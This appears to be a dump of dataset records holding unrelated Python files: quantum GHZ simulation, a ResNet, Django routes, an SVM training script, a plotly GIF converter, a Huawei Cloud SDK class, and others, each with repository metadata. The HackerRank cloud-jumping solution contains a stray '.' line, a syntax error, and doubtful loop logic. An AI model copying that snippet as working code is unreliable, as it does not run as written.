get(x_tgt[0]* np.pi/2)
def get2(x):
""" parametrized (6 parameters) circuitry which can create a c. GHZ
state i.e. |000> - |111>"""
g1 = qt.tensor(qt.rx(x[0]), qt.rx(x[1]), qt.rx(x[2]))
g2 = qt.cnot(3, 1,2)
g3 = qt.cnot(3, 0,2)
g4 = qt.tensor(qt.rx(x[3]), qt.rx(x[4]), qt.ry(x[5]))
return g4 * g3 * g2 * g1 * qt.tensor(zero, zero, zero)
def f(x):
st_res = get2(x* np.pi/2)
return 1 - np.square(np.abs((st_res.dag() * ghz1).tr()))
f(x_tgt[0])
from scipy import optimize as opt
res = opt.fmin_l_bfgs_b(f,approx_grad=True, x0=np.array([np.random.uniform(0,4) for _ in range(6)]), bounds=[(0,4) for _ in range(6)])
f(res[0])
#### Measurement of a ghz state
def Ramsey_exp(state, angle_Z, angle_X):
nb_qubits = len(state.dims[1])
transfo = get_circuit_meas(nb_qubits, angle_Z, angle_X)
if state.isket:
state_after = qt.ket2dm(transfo * state)
else:
state_after = transfo * state * transfo.dag()
parity = gen_parity_op2(nb_qubits)
return (parity * state_after).tr()
def get_circuit_meas(nb_qubits, angle_Z, angle_X):
layer_Z = qt.tensor([Rz(angle_Z) for _ in range(nb_qubits)])
layer_X = qt.tensor([Rx(angle_X) for _ in range(nb_qubits)])
return layer_X * layer_Z
def gen_parity_op(nb_qubits, proj_onto=zero):
proj = proj_onto * proj_onto.dag()
list_proj = [(-1)**n * gen_proj_onequbit(nb_qubits, n, proj) for n in range(nb_qubits)]
return reduce((lambda x, y: x + y), list_proj)
def gen_parity_op2(nb_qubits):
return qt.tensor([Z for _ in range(nb_qubits)])
def gen_proj_onequbit(nb_qubits, which_qubit, proj):
list_op = [I for _ in range(nb_qubits)]
list_op[which_qubit] = proj.copy()
return qt.tensor(list_op)
ghz_2q = ut.get_ghz(2)
ghz_2q_mixed = 0.90 * qt.ket2dm(ut.get_ghz(2)) + 0.1 * qt.ket2dm(qt.rand_ket_haar(4, [[2, 2], [1, 1]]))
ghz_2q_phase = ut.get_ghz(2, np.pi/2)
ghz_3q = ut.get_ghz(3)
ghz_4q = ut.get_ghz(4)
steps = np.linspace(0, 4, 5000)
### Plotting parity expectations
pop_2q = [Ramsey_exp(ghz_2q, p*np.pi, np.pi/2) for p in steps]
pop_2q_phase = [Ramsey_exp(ghz_2q_phase, p*np.pi, np.pi/2) for p in steps]
pop_2q_mixed = [Ramsey_exp(ghz_2q_mixed, p*np.pi, np.pi/2) for p in steps]
plt.plot(steps, pop_2q)
plt.plot(steps, pop_2q_phase)
plt.plot(steps, pop_2q_mixed)
### Plotting parity expectations
pop_3q = [Ramsey_exp(ghz_3q, p*np.pi, np.pi/2) for p in steps]
plt.plot(steps, pop_3q)
pop_4q = [Ramsey_exp(ghz_4q, p*np.pi, np.pi/2) for p in steps]
plt.plot(steps, pop_4q)
#### decomposition into local observables
t2_0 = get_circuit_meas(2, 0, np.pi/2)
t2_05 = get_circuit_meas(2, np.pi/2, np.pi/2)
p2 = gen_parity_op2(2)
meas_2q = (t2_05.dag() * p2 * t2_05 - t2_0.dag() * p2 * t2_0).data.toarray()
t3_0 = get_circuit_meas(3, np.pi/2 - np.pi/3, np.pi/2)
t3_05 = get_circuit_meas(3, np.pi/2 + np.pi/3, np.pi/2)
p3 = gen_parity_op2(3)
meas_3q_1 = (t3_05.dag() * p3 * t3_05).data.toarray()
meas_3q_2 = (t3_0.dag() * p3 * t3_0).data.toarray()
meas_3q_total = np.imag(meas_3q_1 + meas_3q_2)
meas_3_inspect =np.array([np.diag(meas_3q_1), np.diag(meas_3q_2)])
t4_0 = get_circuit_meas(4, 0, np.pi/2)
t4_025 = get_circuit_meas(4, np.pi/4, np.pi/2)
p4 = gen_parity_op2(4)
meas_4q_1 = (t4_025.dag() * p4 * t4_025).data.toarray()
meas_4q_2 = (t4_0.dag() * p4 * t4_0).data.toarray()
meas_4q_total = meas_4q_1 + meas_4q_2
meas_4_inspect =np.array([np.diag(meas_4q_1), np.diag(meas_4q_2)])
def get_H(nb_qubits, phi):
H_one = 1/2 * (np.exp(-1.0j*phi)* (zero * one.dag()) + np.exp(1.0j*phi)* (one * zero.dag()))
list_H = [gen_proj_onequbit(nb_qubits, n, H_one) for n in range(nb_qubits)]
return reduce((lambda x, y: x + y), list_H)
def get_U(nb_qubits, phi):
H = get_H(nb_qubits, phi)
return H.expm() | [
"frederic.sauv@gmail.com"
] | frederic.sauv@gmail.com |
6e07ce4368cf52e75c822a991a574494f9378a4d | f2575444e57696b83ce6dcec40ad515b56a1b3a9 | /Algorithms/Implementation/JumpingOnTheCloudsRevisited.py | 6ac69a0db82d7aeb16eaa9fcb0a6ad2d256bdec5 | [] | no_license | abhi10010/Hackerrank-Solutions | 046487d79fc5bf84b4df5ef2117578d29cb19243 | da2a57b8ebfcc330d94d104c1755b8c62a9e3e65 | refs/heads/master | 2021-07-24T09:41:49.995295 | 2020-07-12T09:31:58 | 2020-07-12T09:31:58 | 195,647,097 | 4 | 0 | null | null | null | null | UTF-8 | Python | false | false | 346 | py | import math
import os
import random
import re
import sys
.
def jumpingOnClouds(c, k):
e=100
for i in range(0,len(c),k):
if c[i]==0:
e-=1
else:
e-=3
if i>=len(c) and c[0]==0:
e-=1
break
if i>len(c) and c[0]==1:
e-=3
break
return e
| [
"noreply@github.com"
] | noreply@github.com |
9738125e28cf1c9de83533eb096c8762262e5edb | b8b3dcf89ac1df5ab348a85d9bd360b68ca3389e | /scrape/urls.py | 70a536405bd40d4a4cfe6babde5245c9f995b6d0 | [] | no_license | griggz/democratizer | eaa5d44889127c75e50118c54597114e13efb993 | 0633282933ea1a67c1ac0e685714b6b0435b8ad2 | refs/heads/master | 2022-02-28T22:45:38.220324 | 2019-09-23T23:51:57 | 2019-10-10T00:36:53 | 208,864,119 | 1 | 0 | null | null | null | null | UTF-8 | Python | false | false | 500 | py | from django.urls import re_path, path
from . import views
app_name = 'scrape-api'
urlpatterns = [
path('yelp', views.ScrapeListCreateAPIView.as_view(), name='yelp-list-create'),
re_path(r'^yelp/(?P<slug>[\w-]+)/$', views.ScrapeDetailAPIView.as_view(),
name='yelp_detail'),
path('indeed', views.ScrapeListCreateAPIView.as_view(), name='indeed-list-create'),
re_path(r'^indeed/(?P<slug>[\w-]+)/$', views.ScrapeDetailAPIView.as_view(),
name='indeed_detail'),
]
| [
"grigswa@gmail.com"
] | grigswa@gmail.com |
c6872feee88fe1b197782ffe58764561cf3b2807 | 9f78c2bfadd1e87d779a786e7cd0952b6fbc96f1 | /common/models/log/AppErrorLog.py | 918ff63b12f1ffc3cbcf7a180a16e09a55e0cc6a | [] | no_license | Erick-LONG/order | 08393ed9b315cf2c6af5e2b9bfd6917605fe8d94 | 4b853403c9c949b3ecbe2766ec77750557cf11fc | refs/heads/master | 2022-11-11T09:32:53.570524 | 2020-06-30T09:20:18 | 2020-06-30T09:20:18 | 262,786,005 | 0 | 0 | null | null | null | null | UTF-8 | Python | false | false | 544 | py | # coding: utf-8
from application import db
class AppErrorLog(db.Model):
__tablename__ = 'app_error_log'
id = db.Column(db.Integer, primary_key=True)
referer_url = db.Column(db.String(255), nullable=False, server_default=db.FetchedValue())
target_url = db.Column(db.String(255), nullable=False, server_default=db.FetchedValue())
query_params = db.Column(db.Text, nullable=False)
content = db.Column(db.String, nullable=False)
created_time = db.Column(db.DateTime, nullable=False, server_default=db.FetchedValue())
| [
"834424581@qq.com"
] | 834424581@qq.com |
a79b90083990c4ddff918a7d0b71d0f301ea6b07 | 47813000cf80dbf4ae9bdc81d1cdb5f8986023a4 | /models/tiny/resnet.py | a61ff890565444487b983e3b89f08dbed4b16e1c | [] | no_license | w5yang/bone-project | fa72b4085f6f99bf7d64f853df8d9665c132456d | 47049ed08abdc51c52fde5c0056423c1aaec2235 | refs/heads/master | 2023-02-24T05:45:44.833294 | 2021-01-27T08:12:45 | 2021-01-27T08:12:45 | 307,283,494 | 0 | 0 | null | null | null | null | UTF-8 | Python | false | false | 5,842 | py | from __future__ import absolute_import
"""
Source for CIFAR models: https://github.com/bearpaw/pytorch-classification
by user "bearpaw"
Notes:
- Network names have been edited to make it consistent with pytorch-torchvision and cadene imagenet models
"""
"""Resnet for 32x32 dataset.
Ported form
https://github.com/facebook/fb.resnet.torch
and
https://github.com/pytorch/vision/blob/master/torchvision/models/resnet.py
(c) YANG, Wei
"""
import torch.nn as nn
import math
__all__ = ["resnet", "resnet18", "resnet34", "resnet50"]
def conv3x3(in_planes, out_planes, stride=1):
"3x3 convolution with padding"
return nn.Conv2d(
in_planes, out_planes, kernel_size=3, stride=stride, padding=1, bias=False
)
class BasicBlock(nn.Module):
expansion = 1
def __init__(self, inplanes, planes, stride=1, downsample=None):
super(BasicBlock, self).__init__()
self.conv1 = conv3x3(inplanes, planes, stride)
self.bn1 = nn.BatchNorm2d(planes)
self.relu = nn.ReLU(inplace=True)
self.conv2 = conv3x3(planes, planes)
self.bn2 = nn.BatchNorm2d(planes)
self.downsample = downsample
self.stride = stride
def forward(self, x):
residual = x
out = self.conv1(x)
out = self.bn1(out)
out = self.relu(out)
out = self.conv2(out)
out = self.bn2(out)
if self.downsample is not None:
residual = self.downsample(x)
out += residual
out = self.relu(out)
return out
class Bottleneck(nn.Module):
expansion = 4
def __init__(self, inplanes, planes, stride=1, downsample=None):
super(Bottleneck, self).__init__()
self.conv1 = nn.Conv2d(inplanes, planes, kernel_size=1, bias=False)
self.bn1 = nn.BatchNorm2d(planes)
self.conv2 = nn.Conv2d(
planes, planes, kernel_size=3, stride=stride, padding=1, bias=False
)
self.bn2 = nn.BatchNorm2d(planes)
self.conv3 = nn.Conv2d(planes, planes * 4, kernel_size=1, bias=False)
self.bn3 = nn.BatchNorm2d(planes * 4)
self.relu = nn.ReLU(inplace=True)
self.downsample = downsample
self.stride = stride
def forward(self, x):
residual = x
out = self.conv1(x)
out = self.bn1(out)
out = self.relu(out)
out = self.conv2(out)
out = self.bn2(out)
out = self.relu(out)
out = self.conv3(out)
out = self.bn3(out)
if self.downsample is not None:
residual = self.downsample(x)
out += residual
out = self.relu(out)
return out
class ResNet(nn.Module):
def __init__(self, depth, num_classes=1000, block_name="BasicBlock", channel=3):
super(ResNet, self).__init__()
# Model type specifies number of layers for CIFAR-10 model
if block_name.lower() == "basicblock":
assert (
depth - 2
) % 6 == 0, "When use basicblock, depth should be 6n+2, e.g. 20, 32, 44, 56, 110, 1202"
n = (depth - 2) // 6
block = BasicBlock
elif block_name.lower() == "bottleneck":
assert (
depth - 2
) % 9 == 0, "When use bottleneck, depth should be 9n+2, e.g. 20, 29, 47, 56, 110, 1199"
n = (depth - 2) // 9
block = Bottleneck
else:
raise ValueError("block_name shoule be Basicblock or Bottleneck")
self.inplanes = 16
self.conv1 = nn.Conv2d(channel, 16, kernel_size=3, padding=1, bias=False)
self.bn1 = nn.BatchNorm2d(16)
self.relu = nn.ReLU(inplace=True)
self.layer1 = self._make_layer(block, 16, n)
self.layer2 = self._make_layer(block, 32, n, stride=2)
self.layer3 = self._make_layer(block, 64, n, stride=2)
self.avgpool = nn.AvgPool2d(8)
self.fc = nn.Linear(64 * block.expansion, num_classes)
for m in self.modules():
if isinstance(m, nn.Conv2d):
n = m.kernel_size[0] * m.kernel_size[1] * m.out_channels
m.weight.data.normal_(0, math.sqrt(2.0 / n))
elif isinstance(m, nn.BatchNorm2d):
m.weight.data.fill_(1)
m.bias.data.zero_()
def _make_layer(self, block, planes, blocks, stride=1):
downsample = None
if stride != 1 or self.inplanes != planes * block.expansion:
downsample = nn.Sequential(
nn.Conv2d(
self.inplanes,
planes * block.expansion,
kernel_size=1,
stride=stride,
bias=False,
),
nn.BatchNorm2d(planes * block.expansion),
)
layers = []
layers.append(block(self.inplanes, planes, stride, downsample))
self.inplanes = planes * block.expansion
for i in range(1, blocks):
layers.append(block(self.inplanes, planes))
return nn.Sequential(*layers)
def forward(self, x):
x = self.conv1(x)
x = self.bn1(x)
x = self.relu(x) # 32x32
x = self.layer1(x) # 32x32
x = self.layer2(x) # 16x16
x = self.layer3(x) # 8x8
x = self.avgpool(x)
x = x.view(x.size(0), -1)
x = self.fc(x)
return x
def resnet(**kwargs):
"""
Constructs a ResNet model.
"""
return ResNet(**kwargs)
def resnet18(num_classes=1000, channel=3, **kwargs):
return resnet(depth=20, num_classes=num_classes, channel=channel)
def resnet34(num_classes=1000, channel=3, **kwargs):
return resnet(depth=32, num_classes=num_classes, channel=channel)
def resnet50(num_classes=1000, channel=3, **kwargs):
return resnet(depth=56, num_classes=num_classes, channel=channel)
| [
"yangwenbin@whu.edu.cn"
] | yangwenbin@whu.edu.cn |
4ed8c6acd675d417daccb464aa6770a050037a26 | 011e932c48456ba8015cd45e326fd9b5df2758bd | /python_db/query_data.py | 8b430c6ff3024dd89d753a3cd252d53344aa12d1 | [] | no_license | JasminSantana/Patterns-Design | f3e05d735f3ce2018638ad81f9f4ba9aa8633489 | 27429085e22eb4357402575d36eefc1dca9c7dab | refs/heads/master | 2021-08-20T10:52:20.145097 | 2017-11-29T00:17:04 | 2017-11-29T00:17:04 | 111,817,968 | 0 | 0 | null | null | null | null | UTF-8 | Python | false | false | 878 | py | from config import config
import psycopg2
""""Author: Santana Mares Jasmin
gmail: sant.mar.1997@gmail.com
"""
def get_vendors():
""" query data from the vendors table """
conn = None
try:
params = config()
conn = psycopg2.connect(**params)
cur = conn.cursor()
cur.execute("SELECT vendor_id, vendor_name FROM vendors ORDER BY vendor_name")
print("The number of parts: ", cur.rowcount)
row = cur.fetchone()
'''Mientras halla datos recorre los datos para mostrarlos'''
while row is not None:
print(row)
row = cur.fetchone()
cur.close()
except (Exception, psycopg2.DatabaseError) as error:
print(error)
finally:
if conn is not None:
conn.close()
if __name__ == '__main__':
get_vendors()
| [
"noreply@github.com"
] | noreply@github.com |
a933f81155bab2489d7505fd0f8dce1a748f177e | 78fd344f54042c706aa1db9937af0f451a858f47 | /academics/migrations/0030_alter_quizgrades_timetaken.py | ec3a1939ff3c5a77df190e96b4e7a528c6a16c60 | [] | no_license | Aniketvyas/inhouse | 2ca8b29777798ad3268fbaeb83e93eeca750d996 | 908a7368587f562d32c4968da6e7b629332c6265 | refs/heads/master | 2023-07-03T09:11:56.688054 | 2021-08-11T12:15:30 | 2021-08-11T12:15:30 | 393,966,782 | 0 | 0 | null | null | null | null | UTF-8 | Python | false | false | 424 | py | # Generated by Django 3.2 on 2021-07-12 11:44
from django.db import migrations, models
class Migration(migrations.Migration):
dependencies = [
('academics', '0029_assignment_assignmenttype'),
]
operations = [
migrations.AlterField(
model_name='quizgrades',
name='timeTaken',
field=models.CharField(blank=True, max_length=100, null=True),
),
]
| [
"vyasaniket6@gmail.com"
] | vyasaniket6@gmail.com |
d1d879e6edfda7cc8eacaeed847c2ffabd08f673 | c09cf7d51edc9b9b769c3ec5344f114678e9b6fb | /ecommerce/sales.py | 8c8c4ff107392ad7a2db3d1b2b673e542cba7121 | [] | no_license | asadsid95/CodeWithMosh | 21852fe9324eed79246e1d2fb0c2c8e9b11b7305 | 5791ff644186aaa0e705f2780e24c312aa02860c | refs/heads/main | 2023-07-15T19:52:18.661866 | 2021-08-12T00:49:18 | 2021-08-12T00:49:18 | 393,736,435 | 0 | 0 | null | null | null | null | UTF-8 | Python | false | false | 111 | py | def calc_tax4():
print('this function is in \'sales\' module, inside of \'ecommerce\' package.')
pass
| [
"38368758+asadsid95@users.noreply.github.com"
] | 38368758+asadsid95@users.noreply.github.com |
4687b44e6de343e51dd559e06e829299c7675cf5 | 99e8ae654abe1aa3995d4a6252ddc14e1b247413 | /Python_Demo/WEEK_EIGHT/TKinterDemo5.py | 1331b3d30af2fe5eef68512b4a5ad02a83b1bd56 | [] | no_license | l516q582/pythondemo | fc6e9054ec4ac78d58d6bc75b5ccba796947396d | dbe3ee4e7bb7d6be5f0264adb666867be99d1069 | refs/heads/master | 2021-09-16T20:15:22.015411 | 2018-06-23T03:00:56 | 2018-06-23T03:00:56 | null | 0 | 0 | null | null | null | null | UTF-8 | Python | false | false | 1,179 | py | from graphics import *
def convert(inputPart):
celsius = eval(inputPart.getText())#输入转换
fahrenheit = 9.0/5.0 * celsius + 32
return fahrenheit
def colorChange(win, inputPart):
cnum = eval(inputPart.getText())
weight = cnum / 100.0
newcolor = color_rgb(int(255*weight), int(66+150*(1-weight)), int(255*(1-weight)))
win.setBackground(newcolor)
def main():
win = GraphWin("Celsius Converter", 400, 300)
win.setCoords(0.0, 0.0, 3.0, 4.0)
#绘制输入接口
Text(Point(1,3), " Celsius Temoerature:").draw(win)
Text(Point(2,2.7), " (Please input 0.0-100.0 )").draw(win)
Text(Point(1,1), "Fahrenheit Temperature:").draw(win)
inputPart = Entry(Point(2,3), 5)
inputPart.setText("0.0")
inputPart.draw(win)
output = Text(Point(2, 1), "")
output.draw(win)
button = Text(Point(1.5, 2.0), "Convert It")
button.draw(win)
rect = Rectangle(Point(1, 1.5), Point(2, 2.5))
rect.draw(win)
win.getMouse()
result = convert(inputPart)
output.setText(result)
colorChange(win, inputPart)
button.setText("Quit")
win.getMouse()
win.close()
if __name__ == '__main__':
main()
| [
"1558319437@qq.com"
] | 1558319437@qq.com |
3461114ef7de35dac3442a2a0f612ee8e6fdf335 | df8427979988ccfe085066faa350f4faa57ec1a9 | /train.py | 0580ef01a8f3b41d6f9f9b5737677dea49f8ae31 | [] | no_license | xuelanglv/disaster-project | c47c35e4f000f66c558e082dd0869f1ce48f3cf2 | c2575b279300ffc3db9a3235c44d5a2155931159 | refs/heads/master | 2020-06-05T14:34:49.933586 | 2014-12-08T06:12:06 | 2014-12-08T06:12:06 | null | 0 | 0 | null | null | null | null | GB18030 | Python | false | false | 5,145 | py | # -*- coding: cp936 -*-
"""
Created on Thu Oct 09 22:22:43 2014
@author: shuaiyi
"""
import sys
import numpy as np
import matplotlib.pyplot as plt
from numpy.random import shuffle
from sklearn.svm import LinearSVC, SVC # svm
from sklearn.cross_validation import train_test_split # 把训练样本分成训练和测试两部分
from sklearn.externals import joblib # 保存分类器
from sklearn.metrics import confusion_matrix
from zca import ZCA # 白化处理
from sklearn.grid_search import GridSearchCV
from sklearn.decomposition import PCA
from sklearn.pipeline import Pipeline
is_train = False
if len(sys.argv) == 1:
train_hog = False
train_bow = True
train_decaf = False
elif len(sys.argv) < 4:
print "Usage: train.py train_hog?0:1 train_bow?0:1 train_decaf?0:1"
sys.exit()
else:
#%% Train target selection
train_hog = bool(int(sys.argv[1]))
train_bow = bool(int(sys.argv[2]))
train_decaf = bool(int(sys.argv[3]))
prj_name = ''
#%% Load traing data
X = Y = None
if train_hog: # train_hog
prj_name = 'HoG'
X_neg = np.load("HoG/NEG_HOG.npy")
X_pos = np.load("HoG/POS_HOG.npy")
Y = np.ones(X_neg.shape[0] + X_pos.shape[0])
Y[0:X_neg.shape[0]] = 2
X = np.vstack((X_neg, X_pos))
index = np.arange(Y.shape[0])
shuffle(index)
X = X[index,:]
Y = Y[index]
elif train_bow == True: # train_bow
prj_name = 'BoW'
X, Y = np.load("BoW/train_BoW_x.npy"), np.load("BoW/train_BoW_y.npy")
Y = Y.reshape(Y.shape[0])
index = np.arange(Y.shape[0])
shuffle(index)
X = X[index,:]
Y = Y[index]
elif train_decaf == True:
prj_name = '420_decaf'
X, Y = np.load("420_decaf/420_decaf_X.npy"), np.load("420_decaf/420_decaf_Y.npy")
Y = Y.reshape(Y.shape[0])
index = np.arange(Y.shape[0])
shuffle(index)
X = X[index,:]
Y = Y[index]
#%% Feature visualization
#PCA show
#pca = PCA(n_components = 2)
#pca.fit(X)
#x_pca = pca.fit_transform(X)
#for i in range(Y.shape[0]):
# if Y[i] == 1:
# plt.scatter(x_pca[i,0], x_pca[i,1],marker='o')
# else:
# plt.scatter(x_pca[i,0], x_pca[i,1],marker='+')
#
#plt.show()
#%% Prepare training and testing data
x_train, x_test, y_train, y_test = train_test_split(X, Y,
test_size=0.10, random_state=42)
y_train, y_test = y_train -1 , y_test - 1
# CV
# 关于ZCA 什么时候需要使用?
# zca = ZCA()
# 使用SVC可以获取probability
clf = SVC(kernel='linear', probability = True, class_weight='auto',random_state=np.random.RandomState())
#clf = LinearSVC() #C = 10000, loss='l1', penalty='l2', random_state=42
zca_svm = Pipeline([('clf',clf)]) #('zca',zca)
parameters = {
#'zca__bias': (0.01, 0.001, 0.0001),
'clf__C': (0.01, 0.1, 1, 10, 100)
#'clf__kernel': ('linear')
#'clf__C': (1, 10, 20, 30, 40, 50, 60, 70, 80, 90)
#'clf__C': (100, 200, 300, 400, 500, 600, 700, 800, 900)
#'clf__C': (1000, 2000, 3000, 4000, 5000, 6000, 7000, 8000, 9000)
#'clf__loss': ('l1', 'l2')
#'clf__penalty':('l1', 'l2')
}
if __name__ == "__main__":
# step 1: cv (cross validation_ grid search)
# step 2: train
#
if is_train:
gridCV = GridSearchCV(zca_svm, parameters,n_jobs=3,verbose=True)
print "****************Grid Search******************************"
gridCV.fit(X,Y)
print "*********************Train******************************"
# grid_cv results : {'clf__C': 5000, 'zca__bias': 0.01}
best = gridCV.best_estimator_
best.fit(x_train, y_train)
print "*********************Save*******************************"
joblib.dump(best, prj_name + "/classifier_svc.pkl", compress=3)
joblib.dump(gridCV, prj_name + "/grid_cv.pkl", compress=3)
else:
best = joblib.load(prj_name + "/classifier_svc.pkl")
print "*********************Test*******************************"
y_test_pre = best.predict(x_test)
cm = confusion_matrix(y_test, y_test_pre)
print "confusion matrix..."
print cm
print "*********************ROC********************************"
from sklearn.metrics import roc_curve, auc
from sklearn.preprocessing import label_binarize
print best
y_score = best.predict_proba(x_test)
# Compute ROC curve and ROC area for each class
fpr, tpr, _ = roc_curve(y_test, y_score[:, 1])
roc_auc = auc(fpr, tpr)
# Plot of a ROC curve for a specific class
plt.figure()
plt.plot(fpr, tpr, label='ROC curve (AUC = %0.2f)' % roc_auc)
plt.plot([0, 1], [0, 1], 'k--')
plt.xlim([0.0, 1.0])
plt.ylim([0.0, 1.05])
plt.xlabel('False Positive Rate (FPR)')
plt.ylabel('True Positive Rate (TPR)')
plt.title('Receiver operating characteristic (ROC)')
plt.legend(loc="lower right")
plt.savefig(prj_name + "/ROC.tif", dpi=300)
plt.show()
# plt.close()
| [
"shuaiyigis@gmail.com"
] | shuaiyigis@gmail.com |
5a90946ba66382708baa565dac613ce90965d81f | 69bdd5f89421fb81e74e1c8ba1b8ab8fc41c8a25 | /plotly_to_gif.py | 2e0f46545399df5bc00334e3b88e64cf67f10f18 | [] | no_license | satoshi-teji/plotly_to_gif | e1f0aaef761b83b3bdb53d70a8d538eb5d2d71eb | ee58624d19900f3446c2cf51dbd499243335618d | refs/heads/master | 2023-02-26T04:10:53.958058 | 2021-01-28T20:24:41 | 2021-01-28T20:24:41 | 333,897,948 | 0 | 0 | null | null | null | null | UTF-8 | Python | false | false | 1,280 | py | from PIL import Image
import plotly.graph_objects as go
import io
import numpy as np
import pandas as pd
class Converter:
def __init__(self, layout=go.Layout()):
self.layout = layout
self.images = []
def to_gif(self, ts_data, changing_index=False, indexes=np.array([])):
data_type = type(ts_data)
if data_type == pd.core.frame.DataFrame:
if changing_index:
indexes = ts_data.index.values.tolist()
ts_data = ts_data.values
for i in range(ts_data.shape[0]):
fig = go.Figure()
fig.layout = self.layout
x, y = ts_data[i]
fig.add_trace(go.Scatter(x=[x], y=[y], mode='markers'))
if changing_index:
fig.add_annotation(text=str(indexes[i])+' sec', bgcolor='white', x=0.97, xanchor='right', xref='paper', yanchor='bottom', yref='paper', y=0.03, showarrow=False)
image_data = fig.to_image(format='png')
image_byte = io.BytesIO(image_data)
img = Image.open(image_byte)
self.images.append(img)
self.images[0].save('output.gif',
save_all=True, append_images=self.images[1:],
optimize=False, duration=100, loop=0)
| [
"te.sato1030@gmail.com"
] | te.sato1030@gmail.com |
2c163b01d88f546a5fc61e0aa38f9a7dda79d688 | b0c8de1f780ae9a12a7f1290774391d2c6fe73b6 | /16-Tekstbestanden/Hittegolven.py | 91cdec93e16d6004e0840785bf7f8a2d4f4cf359 | [] | no_license | MichielFeys/Informatica5 | 65f161f8263a442a4191428516ecab5d0f754066 | a8db06fe52532b7046c0ab3ecea22a4e222b086c | refs/heads/master | 2021-07-01T14:48:22.667840 | 2019-05-08T17:50:24 | 2019-05-08T17:50:24 | 147,636,999 | 0 | 0 | null | null | null | null | UTF-8 | Python | false | false | 507 | py | temp = [28, 19, 26, 27, 23, 23, 25, 27, 30, 32, 25, 28]
lijnen = []
aantal_25_plus = 0
aantal_30_plus = 0
hittegolven = 0
for i in range(len(temp)):
if aantal_25_plus >= 5 and aantal_30_plus >= 2:
hittegolven += 1
aantal_30_plus = 0
aantal_25_plus = 0
if temp[i] >= 30:
aantal_30_plus += 1
aantal_25_plus += 1
if temp[i] >= 25:
aantal_25_plus += 1
if temp[i] < 25:
aantal_30_plus = 0
aantal_25_plus = 0
print(hittegolven)
| [
"43027811+MichielFeys@users.noreply.github.com"
] | 43027811+MichielFeys@users.noreply.github.com |
49f1a41f9ba2b58896b0eb4e7a76d13dbb45c2a1 | 551b75f52d28c0b5c8944d808a361470e2602654 | /huaweicloud-sdk-vpc/huaweicloudsdkvpc/v2/model/neutron_list_security_group_rules_request.py | c2fd8e52b4af1f422cfe563c56bf84d24458f81d | [
"Apache-2.0"
] | permissive | wuchen-huawei/huaweicloud-sdk-python-v3 | 9d6597ce8ab666a9a297b3d936aeb85c55cf5877 | 3683d703f4320edb2b8516f36f16d485cff08fc2 | refs/heads/master | 2023-05-08T21:32:31.920300 | 2021-05-26T08:54:18 | 2021-05-26T08:54:18 | 370,898,764 | 0 | 0 | NOASSERTION | 2021-05-26T03:50:07 | 2021-05-26T03:50:07 | null | UTF-8 | Python | false | false | 13,621 | py | # coding: utf-8
import pprint
import re
import six
class NeutronListSecurityGroupRulesRequest:
"""
Attributes:
openapi_types (dict): The key is attribute name
and the value is attribute type.
attribute_map (dict): The key is attribute name
and the value is json key in definition.
"""
sensitive_list = []
openapi_types = {
'limit': 'int',
'marker': 'str',
'id': 'str',
'direction': 'str',
'protocol': 'str',
'ethertype': 'str',
'description': 'str',
'remote_ip_prefix': 'str',
'remote_group_id': 'str',
'security_group_id': 'str',
'port_range_max': 'str',
'port_range_min': 'str',
'tenant_id': 'str'
}
attribute_map = {
'limit': 'limit',
'marker': 'marker',
'id': 'id',
'direction': 'direction',
'protocol': 'protocol',
'ethertype': 'ethertype',
'description': 'description',
'remote_ip_prefix': 'remote_ip_prefix',
'remote_group_id': 'remote_group_id',
'security_group_id': 'security_group_id',
'port_range_max': 'port_range_max',
'port_range_min': 'port_range_min',
'tenant_id': 'tenant_id'
}
def __init__(self, limit=None, marker=None, id=None, direction=None, protocol=None, ethertype=None, description=None, remote_ip_prefix=None, remote_group_id=None, security_group_id=None, port_range_max=None, port_range_min=None, tenant_id=None):
"""NeutronListSecurityGroupRulesRequest - a model defined in huaweicloud sdk"""
self._limit = None
self._marker = None
self._id = None
self._direction = None
self._protocol = None
self._ethertype = None
self._description = None
self._remote_ip_prefix = None
self._remote_group_id = None
self._security_group_id = None
self._port_range_max = None
self._port_range_min = None
self._tenant_id = None
self.discriminator = None
if limit is not None:
self.limit = limit
if marker is not None:
self.marker = marker
if id is not None:
self.id = id
if direction is not None:
self.direction = direction
if protocol is not None:
self.protocol = protocol
if ethertype is not None:
self.ethertype = ethertype
if description is not None:
self.description = description
if remote_ip_prefix is not None:
self.remote_ip_prefix = remote_ip_prefix
if remote_group_id is not None:
self.remote_group_id = remote_group_id
if security_group_id is not None:
self.security_group_id = security_group_id
if port_range_max is not None:
self.port_range_max = port_range_max
if port_range_min is not None:
self.port_range_min = port_range_min
if tenant_id is not None:
self.tenant_id = tenant_id
@property
def limit(self):
"""Gets the limit of this NeutronListSecurityGroupRulesRequest.
每页返回的个数
:return: The limit of this NeutronListSecurityGroupRulesRequest.
:rtype: int
"""
return self._limit
@limit.setter
def limit(self, limit):
"""Sets the limit of this NeutronListSecurityGroupRulesRequest.
每页返回的个数
:param limit: The limit of this NeutronListSecurityGroupRulesRequest.
:type: int
"""
self._limit = limit
@property
def marker(self):
"""Gets the marker of this NeutronListSecurityGroupRulesRequest.
分页查询起始的资源ID,为空时查询第一页
:return: The marker of this NeutronListSecurityGroupRulesRequest.
:rtype: str
"""
return self._marker
@marker.setter
def marker(self, marker):
"""Sets the marker of this NeutronListSecurityGroupRulesRequest.
分页查询起始的资源ID,为空时查询第一页
:param marker: The marker of this NeutronListSecurityGroupRulesRequest.
:type: str
"""
self._marker = marker
@property
def id(self):
"""Gets the id of this NeutronListSecurityGroupRulesRequest.
按照安全组规则对应的id过滤查询结果
:return: The id of this NeutronListSecurityGroupRulesRequest.
:rtype: str
"""
return self._id
@id.setter
def id(self, id):
"""Sets the id of this NeutronListSecurityGroupRulesRequest.
按照安全组规则对应的id过滤查询结果
:param id: The id of this NeutronListSecurityGroupRulesRequest.
:type: str
"""
self._id = id
@property
def direction(self):
"""Gets the direction of this NeutronListSecurityGroupRulesRequest.
按照安全组规则的方向过滤查询结果,支持ingress和egress进行过滤
:return: The direction of this NeutronListSecurityGroupRulesRequest.
:rtype: str
"""
return self._direction
@direction.setter
def direction(self, direction):
"""Sets the direction of this NeutronListSecurityGroupRulesRequest.
按照安全组规则的方向过滤查询结果,支持ingress和egress进行过滤
:param direction: The direction of this NeutronListSecurityGroupRulesRequest.
:type: str
"""
self._direction = direction
@property
def protocol(self):
"""Gets the protocol of this NeutronListSecurityGroupRulesRequest.
按照安全组规则的IP协议过滤查询结果
:return: The protocol of this NeutronListSecurityGroupRulesRequest.
:rtype: str
"""
return self._protocol
@protocol.setter
def protocol(self, protocol):
"""Sets the protocol of this NeutronListSecurityGroupRulesRequest.
